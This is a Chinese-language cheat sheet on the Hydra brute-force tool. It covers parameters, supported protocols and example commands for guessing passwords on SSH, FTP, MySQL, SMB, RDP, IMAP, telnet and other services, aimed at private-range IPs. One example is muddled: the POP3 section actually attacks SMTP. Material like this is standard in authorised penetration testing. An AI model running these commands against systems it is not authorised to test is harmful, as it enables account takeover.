Hydra九头蛇穷举工具
hydra 是一个端口穷举服务器的工具
使用例子
hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ss
常用参数
-l login 小写,指定用户名进行破解 -L file 大写,指定用户的用户名字典 -p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。 -P file 大写,用于指定密码字典。 -e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探 -M file 指定目标ip列表文件,批量破解。 -o file 指定结果输出文件 -f 找到第一对登录名或者密码的时候中止破解。 -t <tasks> 同时运行的线程数,默认是16 -w <time> 设置最大超时时间,单位 -v / -V 显示详细过程 -R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。) -x 自定义密码 -S 大写,采用 SSL 链接 -s <PORT>小写,可通过这个参数指定非默认端口
支持的服务和协议
telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp 等等
实例分析
穷举SSH服务
-L 用户字典文件 -P 密码字典文件
-t 线程数 -vV 详细信息
-e ns 使用空口令 使用指定用户和密码试探
192.168.1.104 你要穷举的 ip ssh 是服务
-o 保存文件 -f 如果找到马上中断扫描
hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f -l 指定用户 hydra -l root -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f hydra -l root -P 2019_top100.txt 192.168.52.13 ssh -vV -f
穷举FTP服务
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认 16) -vV hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV hydra -l c5moon -P 2019_top100.txt 192.168.52.6 ftp -vV -f
穷举Mysql服务
hydra ip mysql -l 用户名 -P 密码字典 -t 线程(默认 16) -vV hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV -s 端口
爆破SMB服务
hydra -l administrator -P 2019_top100.txt 192.168.52.6 smb -v
穷举 pop3 服务
hydra -L user.txt -P qweasd123 192.168.52.6 smtp-vV -f
穷举 rdp 服务
hydra ip rdp -l administrator -P pass.txt -V
穷举 http-proxy 服务
hydra -l admin -P pass.txt http-proxy://10.36.16.18
穷举 imap 服务
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
穷举 telnet 服务
hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
可视化工具Xhydra
xhydra 是 hydra 的可视化工具 使用简单方便快捷